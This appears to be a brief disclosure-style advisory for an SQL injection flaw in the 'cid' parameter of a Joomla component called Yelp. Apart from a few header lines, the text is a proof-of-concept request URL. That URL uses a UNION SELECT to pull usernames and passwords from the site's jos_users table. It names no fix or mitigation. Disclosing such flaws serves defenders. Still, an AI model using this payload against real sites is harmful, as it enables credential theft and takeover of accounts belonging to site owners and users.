[~]>> ...[BEGIN ADVISORY]...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> TITLE: Joomla (Yelp Component) SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> DESCRIPTION: Input var cid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: N/A
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> PROOF OF CONCEPT:
[~]>> http://server/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=[SQL]
[~]>> http://server/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=-1+UNION+ALL+SELECT+1,2,3,concat_ws(0x3a3a3a,username,password),5,6,concat_ws(0x3a3a3a,username,password),8,9,10,11,12,13,14,15,16,17+FROM+jos_users--
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[~]>> ...[END ADVISORY]...